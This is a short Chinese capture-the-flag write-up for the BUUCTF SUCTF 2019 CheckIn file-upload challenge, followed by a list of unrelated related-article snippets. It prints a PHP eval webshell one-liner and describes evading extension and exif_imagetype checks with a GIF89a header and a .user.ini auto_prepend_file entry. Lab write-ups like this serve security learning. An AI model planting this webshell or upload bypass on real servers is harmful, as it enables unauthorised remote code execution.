BUUCTF-[SUCTF 2019]CheckIn -[WP]

embedded/2024/12/23 3:37:36/

进入环境、文件上传

先上传一句话

不能上传php后缀文件

改成图片后缀

<?被过滤

修改一下代码,上传

<script language='php'>eval($_POST['a']);</script>

返回exif_imagetype类型不对

exif_imagetype这个是php中的一个内置函数

用于判断一个给定文件的图像类型。它通过读取文件头部的特定信息来确定文件是否为图像以及具体是哪种常见的图像类型

在原来的代码前面加上图片文件头GIF89a,让exif_imagetype识别

可以上传

网上找的思路、用到.user.ini文件

.user.ini是一个在 PHP 环境下使用的配置文件,主要用于用户自定义的配置

它可以对特定目录及其子目录下的 PHP 脚本的运行环境进行配置。

写入

GIF89a

auto_prepend_file=tz.jpeg

然后再上传图片tz.jpeg

用蚁剑连接图片不行

有个index.php文件

再用蚁剑连


http://www.ppmy.cn/embedded/147967.html

相关文章

信号处理:傅里叶变换与离散傅里叶变换

傅里叶变换&#xff08;Fourier Transform&#xff0c;FT&#xff09;和离散傅里叶变换&#xff08;Discrete Fourier Transform&#xff0c;DFT&#xff09;之间的关系在于它们处理的对象和应用场景不同&#xff0c;但本质上它们是相同的数学思想的两种实现形式。 关系与区别…

将VSCode配置成Goland的视觉效果

各种开发语言有其擅长的IDE作为开发工具&#xff0c;建议C/C首选Visual Studio&#xff0c;Go首选Goland&#xff0c;Java首选IDEA。当然如果习惯VSCode&#xff0c;或者使用的语言比较多&#xff0c;不想切换各种IDE&#xff0c;那就首选VSCode。 笔者开发Go项目有两三年了&a…

深入解析 `DataFrame.groupby` 和 `agg` 的用法及使用场景

深入解析 DataFrame.groupby 和 agg 的用法及使用场景 1. groupby 的基本用法语法&#xff1a;示例&#xff1a; 2. agg 的基本用法语法&#xff1a;示例&#xff1a; 3. first、sum、lambda 的用法3.1 first示例&#xff1a; 3.2 sum示例&#xff1a; 3.3 lambda示例&#xff…

获取显示器(主/副屏)友好名称(FriendlyName)

在开发涉及多显示器的应用程序时&#xff0c;获取显示器的友好名称&#xff08;Friendly Name&#xff09;是一个常见需求。本文将深入探讨GetMonitorFriendlyName 方法&#xff0c;了解其实现细节和工作原理。 方法签名 public static string GetMonitorFriendlyName(bool i…

网络安全概论——网络安全基础

一、网络安全引言 信息安全的四个属性&#xff08;信息安全的基本目标 &#xff09; 保密性:信息不会被泄露给非授权用户完整性&#xff1a;保证数据的一致性可用性&#xff1a;合法用户不会被拒绝服务合法使用&#xff1a;不会被非授权用户或以非授权的方式使用 二、网络安…

Docker实战

Docker 介绍 开始之前,还是简单介绍一下 Docker,更多 Docker 概念介绍可以看前一篇文章Docker 核心概念总结。 什么是 Docker? 说实话关于 Docker 是什么并不太好说,下面我通过四点向你说明 Docker 到底是个什么东西。 Docker 是世界领先的软件容器平台,基于 Go 语言 进…

【漏洞复现】CVE-2023-37461 Arbitrary File Writing

漏洞信息 NVD - cve-2023-37461 Metersphere is an opensource testing framework. Files uploaded to Metersphere may define a belongType value with a relative path like ../../../../ which may cause metersphere to attempt to overwrite an existing file in the d…

windows C#-为枚举创建新方法

可使用扩展方法添加特定于某个特定枚举类型的功能。 示例 在下面的示例中&#xff0c;Grades 枚举表示学生可能在班里收到的字母等级分。 该示例将一个名为 Passing 的扩展方法添加到 Grades 类型中&#xff0c;以便该类型的每个实例现在都“知道”它是否表示合格的等级分。 …